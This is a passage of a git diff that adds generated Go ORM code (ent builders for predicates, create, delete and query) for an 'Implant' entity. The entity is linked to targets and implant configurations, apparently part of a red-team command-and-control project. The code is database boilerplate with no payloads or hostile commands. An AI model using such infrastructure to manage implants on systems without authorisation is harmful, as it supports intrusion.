sqlgraph.From(Table, FieldID), + sqlgraph.To(ConfigTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, ConfigTable, ConfigColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasConfigWith applies the HasEdge predicate on the "config" edge with a given conditions (other predicates). +func HasConfigWith(preds ...predicate.ImplantConfig) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ConfigInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, ConfigTable, ConfigColumn), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// And groups predicates with the AND operator between them. +func And(predicates ...predicate.Implant) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for _, p := range predicates { + p(s1) + } + s.Where(s1.P()) + }) +} + +// Or groups predicates with the OR operator between them. +func Or(predicates ...predicate.Implant) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for i, p := range predicates { + if i > 0 { + s1.Or() + } + p(s1) + } + s.Where(s1.P()) + }) +} + +// Not applies the not operator on the given predicate. +func Not(p predicate.Implant) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + p(s.Not()) + }) +} diff --git a/ent/implant_create.go b/ent/implant_create.go new file mode 100644 index 000000000..8b5292632 --- /dev/null +++ b/ent/implant_create.go @@ -0,0 +1,317 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/target" +) + +// ImplantCreate is the builder for creating a Implant entity. +type ImplantCreate struct { + config + mutation *ImplantMutation + hooks []Hook +} + +// SetSessionID sets the "sessionID" field. +func (ic *ImplantCreate) SetSessionID(s string) *ImplantCreate { + ic.mutation.SetSessionID(s) + return ic +} + +// SetProcessName sets the "processName" field. +func (ic *ImplantCreate) SetProcessName(s string) *ImplantCreate { + ic.mutation.SetProcessName(s) + return ic +} + +// SetNillableProcessName sets the "processName" field if the given value is not nil. +func (ic *ImplantCreate) SetNillableProcessName(s *string) *ImplantCreate { + if s != nil { + ic.SetProcessName(*s) + } + return ic +} + +// SetTargetID sets the "target" edge to the Target entity by ID. +func (ic *ImplantCreate) SetTargetID(id int) *ImplantCreate { + ic.mutation.SetTargetID(id) + return ic +} + +// SetTarget sets the "target" edge to the Target entity. +func (ic *ImplantCreate) SetTarget(t *Target) *ImplantCreate { + return ic.SetTargetID(t.ID) +} + +// SetConfigID sets the "config" edge to the ImplantConfig entity by ID. +func (ic *ImplantCreate) SetConfigID(id int) *ImplantCreate { + ic.mutation.SetConfigID(id) + return ic +} + +// SetConfig sets the "config" edge to the ImplantConfig entity. +func (ic *ImplantCreate) SetConfig(i *ImplantConfig) *ImplantCreate { + return ic.SetConfigID(i.ID) +} + +// Mutation returns the ImplantMutation object of the builder. +func (ic *ImplantCreate) Mutation() *ImplantMutation { + return ic.mutation +} + +// Save creates the Implant in the database. +func (ic *ImplantCreate) Save(ctx context.Context) (*Implant, error) { + var ( + err error + node *Implant + ) + if len(ic.hooks) == 0 { + if err = ic.check(); err != nil { + return nil, err + } + node, err = ic.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = ic.check(); err != nil { + return nil, err + } + ic.mutation = mutation + if node, err = ic.sqlSave(ctx); err != nil { + return nil, err + } + mutation.id = &node.ID + mutation.done = true + return node, err + }) + for i := len(ic.hooks) - 1; i >= 0; i-- { + if ic.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = ic.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, ic.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX calls Save and panics if Save returns an error. +func (ic *ImplantCreate) SaveX(ctx context.Context) *Implant { + v, err := ic.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (ic *ImplantCreate) Exec(ctx context.Context) error { + _, err := ic.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (ic *ImplantCreate) ExecX(ctx context.Context) { + if err := ic.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (ic *ImplantCreate) check() error { + if _, ok := ic.mutation.SessionID(); !ok { + return &ValidationError{Name: "sessionID", err: errors.New(`ent: missing required field "Implant.sessionID"`)} + } + if v, ok := ic.mutation.SessionID(); ok { + if err := implant.SessionIDValidator(v); err != nil { + return &ValidationError{Name: "sessionID", err: fmt.Errorf(`ent: validator failed for field "Implant.sessionID": %w`, err)} + } + } + if _, ok := ic.mutation.TargetID(); !ok { + return &ValidationError{Name: "target", err: errors.New(`ent: missing required edge "Implant.target"`)} + } + if _, ok := ic.mutation.ConfigID(); !ok { + return &ValidationError{Name: "config", err: errors.New(`ent: missing required edge "Implant.config"`)} + } + return nil +} + +func (ic *ImplantCreate) sqlSave(ctx context.Context) (*Implant, error) { + _node, _spec := ic.createSpec() + if err := sqlgraph.CreateNode(ctx, ic.driver, _spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + id := _spec.ID.Value.(int64) + _node.ID = int(id) + return _node, nil +} + +func (ic *ImplantCreate) createSpec() (*Implant, *sqlgraph.CreateSpec) { + var ( + _node = &Implant{config: ic.config} + _spec = &sqlgraph.CreateSpec{ + Table: implant.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + } + ) + if value, ok := ic.mutation.SessionID(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldSessionID, + }) + _node.SessionID = value + } + if value, ok := ic.mutation.ProcessName(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldProcessName, + }) + _node.ProcessName = value + } + if nodes := ic.mutation.TargetIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.TargetTable, + Columns: []string{implant.TargetColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: target.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _node.implant_target = &nodes[0] + _spec.Edges = append(_spec.Edges, edge) + } + if nodes := ic.mutation.ConfigIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.ConfigTable, + Columns: []string{implant.ConfigColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _node.implant_config = &nodes[0] + _spec.Edges = append(_spec.Edges, edge) + } + return _node, _spec +} + +// ImplantCreateBulk is the builder for creating many Implant entities in bulk. +type ImplantCreateBulk struct { + config + builders []*ImplantCreate +} + +// Save creates the Implant entities in the database. +func (icb *ImplantCreateBulk) Save(ctx context.Context) ([]*Implant, error) { + specs := make([]*sqlgraph.CreateSpec, len(icb.builders)) + nodes := make([]*Implant, len(icb.builders)) + mutators := make([]Mutator, len(icb.builders)) + for i := range icb.builders { + func(i int, root context.Context) { + builder := icb.builders[i] + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err := builder.check(); err != nil { + return nil, err + } + builder.mutation = mutation + nodes[i], specs[i] = builder.createSpec() + var err error + if i < len(mutators)-1 { + _, err = mutators[i+1].Mutate(root, icb.builders[i+1].mutation) + } else { + spec := &sqlgraph.BatchCreateSpec{Nodes: specs} + // Invoke the actual operation on the latest mutation in the chain. + if err = sqlgraph.BatchCreate(ctx, icb.driver, spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + } + } + if err != nil { + return nil, err + } + mutation.id = &nodes[i].ID + mutation.done = true + if specs[i].ID.Value != nil { + id := specs[i].ID.Value.(int64) + nodes[i].ID = int(id) + } + return nodes[i], nil + }) + for i := len(builder.hooks) - 1; i >= 0; i-- { + mut = builder.hooks[i](mut) + } + mutators[i] = mut + }(i, ctx) + } + if len(mutators) > 0 { + if _, err := mutators[0].Mutate(ctx, icb.builders[0].mutation); err != nil { + return nil, err + } + } + return nodes, nil +} + +// SaveX is like Save, but panics if an error occurs. +func (icb *ImplantCreateBulk) SaveX(ctx context.Context) []*Implant { + v, err := icb.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (icb *ImplantCreateBulk) Exec(ctx context.Context) error { + _, err := icb.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icb *ImplantCreateBulk) ExecX(ctx context.Context) { + if err := icb.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/ent/implant_delete.go b/ent/implant_delete.go new file mode 100644 index 000000000..3246ee174 --- /dev/null +++ b/ent/implant_delete.go @@ -0,0 +1,111 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantDelete is the builder for deleting a Implant entity. +type ImplantDelete struct { + config + hooks []Hook + mutation *ImplantMutation +} + +// Where appends a list predicates to the ImplantDelete builder. +func (id *ImplantDelete) Where(ps ...predicate.Implant) *ImplantDelete { + id.mutation.Where(ps...) + return id +} + +// Exec executes the deletion query and returns how many vertices were deleted. +func (id *ImplantDelete) Exec(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(id.hooks) == 0 { + affected, err = id.sqlExec(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + id.mutation = mutation + affected, err = id.sqlExec(ctx) + mutation.done = true + return affected, err + }) + for i := len(id.hooks) - 1; i >= 0; i-- { + if id.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = id.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, id.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// ExecX is like Exec, but panics if an error occurs. +func (id *ImplantDelete) ExecX(ctx context.Context) int { + n, err := id.Exec(ctx) + if err != nil { + panic(err) + } + return n +} + +func (id *ImplantDelete) sqlExec(ctx context.Context) (int, error) { + _spec := &sqlgraph.DeleteSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implant.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + if ps := id.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return sqlgraph.DeleteNodes(ctx, id.driver, _spec) +} + +// ImplantDeleteOne is the builder for deleting a single Implant entity. +type ImplantDeleteOne struct { + id *ImplantDelete +} + +// Exec executes the deletion query. +func (ido *ImplantDeleteOne) Exec(ctx context.Context) error { + n, err := ido.id.Exec(ctx) + switch { + case err != nil: + return err + case n == 0: + return &NotFoundError{implant.Label} + default: + return nil + } +} + +// ExecX is like Exec, but panics if an error occurs. +func (ido *ImplantDeleteOne) ExecX(ctx context.Context) { + ido.id.ExecX(ctx) +} diff --git a/ent/implant_query.go b/ent/implant_query.go new file mode 100644 index 000000000..35d4ed808 --- /dev/null +++ b/ent/implant_query.go @@ -0,0 +1,1065 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + "math" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/predicate" + "github.com/kcarretto/realm/ent/target" +) + +// ImplantQuery is the builder for querying Implant entities. +type ImplantQuery struct { + config + limit *int + offset *int + unique *bool + order []OrderFunc + fields []string + predicates []predicate.Implant + // eager-loading edges. + withTarget *TargetQuery + withConfig *ImplantConfigQuery + withFKs bool + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Where adds a new predicate for the ImplantQuery builder. +func (iq *ImplantQuery) Where(ps ...predicate.Implant) *ImplantQuery { + iq.predicates = append(iq.predicates, ps...) + return iq +} + +// Limit adds a limit step to the query. +func (iq *ImplantQuery) Limit(limit int) *ImplantQuery { + iq.limit = &limit + return iq +} + +// Offset adds an offset step to the query. +func (iq *ImplantQuery) Offset(offset int) *ImplantQuery { + iq.offset = &offset + return iq +} + +// Unique configures the query builder to filter duplicate records on query. +// By default, unique is set to true, and can be disabled using this method. +func (iq *ImplantQuery) Unique(unique bool) *ImplantQuery { + iq.unique = &unique + return iq +} + +// Order adds an order step to the query. +func (iq *ImplantQuery) Order(o ...OrderFunc) *ImplantQuery { + iq.order = append(iq.order, o...) + return iq +} + +// QueryTarget chains the current query on the "target" edge. +func (iq *ImplantQuery) QueryTarget() *TargetQuery { + query := &TargetQuery{config: iq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := iq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := iq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implant.Table, implant.FieldID, selector), + sqlgraph.To(target.Table, target.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, implant.TargetTable, implant.TargetColumn), + ) + fromU = sqlgraph.SetNeighbors(iq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// QueryConfig chains the current query on the "config" edge. +func (iq *ImplantQuery) QueryConfig() *ImplantConfigQuery { + query := &ImplantConfigQuery{config: iq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := iq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := iq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implant.Table, implant.FieldID, selector), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, implant.ConfigTable, implant.ConfigColumn), + ) + fromU = sqlgraph.SetNeighbors(iq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// First returns the first Implant entity from the query. +// Returns a *NotFoundError when no Implant was found. +func (iq *ImplantQuery) First(ctx context.Context) (*Implant, error) { + nodes, err := iq.Limit(1).All(ctx) + if err != nil { + return nil, err + } + if len(nodes) == 0 { + return nil, &NotFoundError{implant.Label} + } + return nodes[0], nil +} + +// FirstX is like First, but panics if an error occurs. +func (iq *ImplantQuery) FirstX(ctx context.Context) *Implant { + node, err := iq.First(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return node +} + +// FirstID returns the first Implant ID from the query. +// Returns a *NotFoundError when no Implant ID was found. +func (iq *ImplantQuery) FirstID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iq.Limit(1).IDs(ctx); err != nil { + return + } + if len(ids) == 0 { + err = &NotFoundError{implant.Label} + return + } + return ids[0], nil +} + +// FirstIDX is like FirstID, but panics if an error occurs. +func (iq *ImplantQuery) FirstIDX(ctx context.Context) int { + id, err := iq.FirstID(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return id +} + +// Only returns a single Implant entity found by the query, ensuring it only returns one. +// Returns a *NotSingularError when exactly one Implant entity is not found. +// Returns a *NotFoundError when no Implant entities are found. +func (iq *ImplantQuery) Only(ctx context.Context) (*Implant, error) { + nodes, err := iq.Limit(2).All(ctx) + if err != nil { + return nil, err + } + switch len(nodes) { + case 1: + return nodes[0], nil + case 0: + return nil, &NotFoundError{implant.Label} + default: + return nil, &NotSingularError{implant.Label} + } +} + +// OnlyX is like Only, but panics if an error occurs. +func (iq *ImplantQuery) OnlyX(ctx context.Context) *Implant { + node, err := iq.Only(ctx) + if err != nil { + panic(err) + } + return node +} + +// OnlyID is like Only, but returns the only Implant ID in the query. +// Returns a *NotSingularError when exactly one Implant ID is not found. +// Returns a *NotFoundError when no entities are found. +func (iq *ImplantQuery) OnlyID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iq.Limit(2).IDs(ctx); err != nil { + return + } + switch len(ids) { + case 1: + id = ids[0] + case 0: + err = &NotFoundError{implant.Label} + default: + err = &NotSingularError{implant.Label} + } + return +} + +// OnlyIDX is like OnlyID, but panics if an error occurs. +func (iq *ImplantQuery) OnlyIDX(ctx context.Context) int { + id, err := iq.OnlyID(ctx) + if err != nil { + panic(err) + } + return id +} + +// All executes the query and returns a list of Implants. +func (iq *ImplantQuery) All(ctx context.Context) ([]*Implant, error) { + if err := iq.prepareQuery(ctx); err != nil { + return nil, err + } + return iq.sqlAll(ctx) +} + +// AllX is like All, but panics if an error occurs. +func (iq *ImplantQuery) AllX(ctx context.Context) []*Implant { + nodes, err := iq.All(ctx) + if err != nil { + panic(err) + } + return nodes +} + +// IDs executes the query and returns a list of Implant IDs. +func (iq *ImplantQuery) IDs(ctx context.Context) ([]int, error) { + var ids []int + if err := iq.Select(implant.FieldID).Scan(ctx, &ids); err != nil { + return nil, err + } + return ids, nil +} + +// IDsX is like IDs, but panics if an error occurs. +func (iq *ImplantQuery) IDsX(ctx context.Context) []int { + ids, err := iq.IDs(ctx) + if err != nil { + panic(err) + } + return ids +} + +// Count returns the count of the given query. +func (iq *ImplantQuery) Count(ctx context.Context) (int, error) { + if err := iq.prepareQuery(ctx); err != nil { + return 0, err + } + return iq.sqlCount(ctx) +} + +// CountX is like Count, but panics if an error occurs. +func (iq *ImplantQuery) CountX(ctx context.Context) int { + count, err := iq.Count(ctx) + if err != nil { + panic(err) + } + return count +} + +// Exist returns true if the query has elements in the graph. +func (iq *ImplantQuery) Exist(ctx context.Context) (bool, error) { + if err := iq.prepareQuery(ctx); err != nil { + return false, err + } + return iq.sqlExist(ctx) +} + +// ExistX is like Exist, but panics if an error occurs. +func (iq *ImplantQuery) ExistX(ctx context.Context) bool { + exist, err := iq.Exist(ctx) + if err != nil { + panic(err) + } + return exist +} + +// Clone returns a duplicate of the ImplantQuery builder, including all associated steps. It can be +// used to prepare common query builders and use them differently after the clone is made. +func (iq *ImplantQuery) Clone() *ImplantQuery { + if iq == nil { + return nil + } + return &ImplantQuery{ + config: iq.config, + limit: iq.limit, + offset: iq.offset, + order: append([]OrderFunc{}, iq.order...), + predicates: append([]predicate.Implant{}, iq.predicates...), + withTarget: iq.withTarget.Clone(), + withConfig: iq.withConfig.Clone(), + // clone intermediate query. + sql: iq.sql.Clone(), + path: iq.path, + } +} + +// WithTarget tells the query-builder to eager-load the nodes that are connected to +// the "target" edge. The optional arguments are used to configure the query builder of the edge. +func (iq *ImplantQuery) WithTarget(opts ...func(*TargetQuery)) *ImplantQuery { + query := &TargetQuery{config: iq.config} + for _, opt := range opts { + opt(query) + } + iq.withTarget = query + return iq +} + +// WithConfig tells the query-builder to eager-load the nodes that are connected to +// the "config" edge. The optional arguments are used to configure the query builder of the edge. +func (iq *ImplantQuery) WithConfig(opts ...func(*ImplantConfigQuery)) *ImplantQuery { + query := &ImplantConfigQuery{config: iq.config} + for _, opt := range opts { + opt(query) + } + iq.withConfig = query + return iq +} + +// GroupBy is used to group vertices by one or more fields/columns. +// It is often used with aggregate functions, like: count, max, mean, min, sum. +// +// Example: +// +// var v []struct { +// SessionID string `json:"sessionID,omitempty"` +// Count int `json:"count,omitempty"` +// } +// +// client.Implant.Query(). +// GroupBy(implant.FieldSessionID). +// Aggregate(ent.Count()). +// Scan(ctx, &v) +// +func (iq *ImplantQuery) GroupBy(field string, fields ...string) *ImplantGroupBy { + group := &ImplantGroupBy{config: iq.config} + group.fields = append([]string{field}, fields...) + group.path = func(ctx context.Context) (prev *sql.Selector, err error) { + if err := iq.prepareQuery(ctx); err != nil { + return nil, err + } + return iq.sqlQuery(ctx), nil + } + return group +} + +// Select allows the selection one or more fields/columns for the given query, +// instead of selecting all fields in the entity. +// +// Example: +// +// var v []struct { +// SessionID string `json:"sessionID,omitempty"` +// } +// +// client.Implant.Query(). +// Select(implant.FieldSessionID). +// Scan(ctx, &v) +// +func (iq *ImplantQuery) Select(fields ...string) *ImplantSelect { + iq.fields = append(iq.fields, fields...) + return &ImplantSelect{ImplantQuery: iq} +} + +func (iq *ImplantQuery) prepareQuery(ctx context.Context) error { + for _, f := range iq.fields { + if !implant.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + } + if iq.path != nil { + prev, err := iq.path(ctx) + if err != nil { + return err + } + iq.sql = prev + } + return nil +} + +func (iq *ImplantQuery) sqlAll(ctx context.Context) ([]*Implant, error) { + var ( + nodes = []*Implant{} + withFKs = iq.withFKs + _spec = iq.querySpec() + loadedTypes = [2]bool{ + iq.withTarget != nil, + iq.withConfig != nil, + } + ) + if iq.withTarget != nil || iq.withConfig != nil { + withFKs = true + } + if withFKs { + _spec.Node.Columns = append(_spec.Node.Columns, implant.ForeignKeys...) + } + _spec.ScanValues = func(columns []string) ([]interface{}, error) { + node := &Implant{config: iq.config} + nodes = append(nodes, node) + return node.scanValues(columns) + } + _spec.Assign = func(columns []string, values []interface{}) error { + if len(nodes) == 0 { + return fmt.Errorf("ent: Assign called without calling ScanValues") + } + node := nodes[len(nodes)-1] + node.Edges.loadedTypes = loadedTypes + return node.assignValues(columns, values) + } + if err := sqlgraph.QueryNodes(ctx, iq.driver, _spec); err != nil { + return nil, err + } + if len(nodes) == 0 { + return nodes, nil + } + + if query := iq.withTarget; query != nil { + ids := make([]int, 0, len(nodes)) + nodeids := make(map[int][]*Implant) + for i := range nodes { + if nodes[i].implant_target == nil { + continue + } + fk := *nodes[i].implant_target + if _, ok := nodeids[fk]; !ok { + ids = append(ids, fk) + } + nodeids[fk] = append(nodeids[fk], nodes[i]) + } + query.Where(target.IDIn(ids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := nodeids[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected foreign-key "implant_target" returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.Target = n + } + } + } + + if query := iq.withConfig; query != nil { + ids := make([]int, 0, len(nodes)) + nodeids := make(map[int][]*Implant) + for i := range nodes { + if nodes[i].implant_config == nil { + continue + } + fk := *nodes[i].implant_config + if _, ok := nodeids[fk]; !ok { + ids = append(ids, fk) + } + nodeids[fk] = append(nodeids[fk], nodes[i]) + } + query.Where(implantconfig.IDIn(ids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := nodeids[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected foreign-key "implant_config" returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.Config = n + } + } + } + + return nodes, nil +} + +func (iq *ImplantQuery) sqlCount(ctx context.Context) (int, error) { + _spec := iq.querySpec() + _spec.Node.Columns = iq.fields + if len(iq.fields) > 0 { + _spec.Unique = iq.unique != nil && *iq.unique + } + return sqlgraph.CountNodes(ctx, iq.driver, _spec) +} + +func (iq *ImplantQuery) sqlExist(ctx context.Context) (bool, error) { + n, err := iq.sqlCount(ctx) + if err != nil { + return false, fmt.Errorf("ent: check existence: %w", err) + } + return n > 0, nil +} + +func (iq *ImplantQuery) querySpec() *sqlgraph.QuerySpec { + _spec := &sqlgraph.QuerySpec{ + Node: &sqlgraph.NodeSpec{ + Table: implant.Table, + Columns: implant.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + From: iq.sql, + Unique: true, + } + if unique := iq.unique; unique != nil { + _spec.Unique = *unique + } + if fields := iq.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implant.FieldID) + for i := range fields { + if fields[i] != implant.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, fields[i]) + } + } + } + if ps := iq.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if limit := iq.limit; limit != nil { + _spec.Limit = *limit + } + if offset := iq.offset; offset != nil { + _spec.Offset = *offset + } + if ps := iq.order; len(ps) > 0 { + _spec.Order = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return _spec +} + +func (iq *ImplantQuery) sqlQuery(ctx context.Context) *sql.Selector { + builder := sql.Dialect(iq.driver.Dialect()) + t1 := builder.Table(implant.Table) + columns := iq.fields + if len(columns) == 0 { + columns = implant.Columns + } + selector := builder.Select(t1.Columns(columns...)...).From(t1) + if iq.sql != nil { + selector = iq.sql + selector.Select(selector.Columns(columns...)...) + } + if iq.unique != nil && *iq.unique { + selector.Distinct() + } + for _, p := range iq.predicates { + p(selector) + } + for _, p := range iq.order { + p(selector) + } + if offset := iq.offset; offset != nil { + // limit is mandatory for offset clause. We start + // with default value, and override it below if needed. + selector.Offset(*offset).Limit(math.MaxInt32) + } + if limit := iq.limit; limit != nil { + selector.Limit(*limit) + } + return selector +} + +// ImplantGroupBy is the group-by builder for Implant entities. +type ImplantGroupBy struct { + config + fields []string + fns []AggregateFunc + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Aggregate adds the given aggregation functions to the group-by query. +func (igb *ImplantGroupBy) Aggregate(fns ...AggregateFunc) *ImplantGroupBy { + igb.fns = append(igb.fns, fns...) + return igb +} + +// Scan applies the group-by query and scans the result into the given value. +func (igb *ImplantGroupBy) Scan(ctx context.Context, v interface{}) error { + query, err := igb.path(ctx) + if err != nil { + return err + } + igb.sql = query + return igb.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (igb *ImplantGroupBy) ScanX(ctx context.Context, v interface{}) { + if err := igb.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from group-by. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Strings(ctx context.Context) ([]string, error) { + if len(igb.fields) > 1 { + return nil, errors.New("ent: ImplantGroupBy.Strings is not achievable when grouping more than 1 field") + } + var v []string + if err := igb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (igb *ImplantGroupBy) StringsX(ctx context.Context) []string { + v, err := igb.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = igb.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantGroupBy.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (igb *ImplantGroupBy) StringX(ctx context.Context) string { + v, err := igb.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from group-by. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Ints(ctx context.Context) ([]int, error) { + if len(igb.fields) > 1 { + return nil, errors.New("ent: ImplantGroupBy.Ints is not achievable when grouping more than 1 field") + } + var v []int + if err := igb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (igb *ImplantGroupBy) IntsX(ctx context.Context) []int { + v, err := igb.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = igb.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantGroupBy.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (igb *ImplantGroupBy) IntX(ctx context.Context) int { + v, err := igb.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from group-by. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Float64s(ctx context.Context) ([]float64, error) { + if len(igb.fields) > 1 { + return nil, errors.New("ent: ImplantGroupBy.Float64s is not achievable when grouping more than 1 field") + } + var v []float64 + if err := igb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (igb *ImplantGroupBy) Float64sX(ctx context.Context) []float64 { + v, err := igb.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + 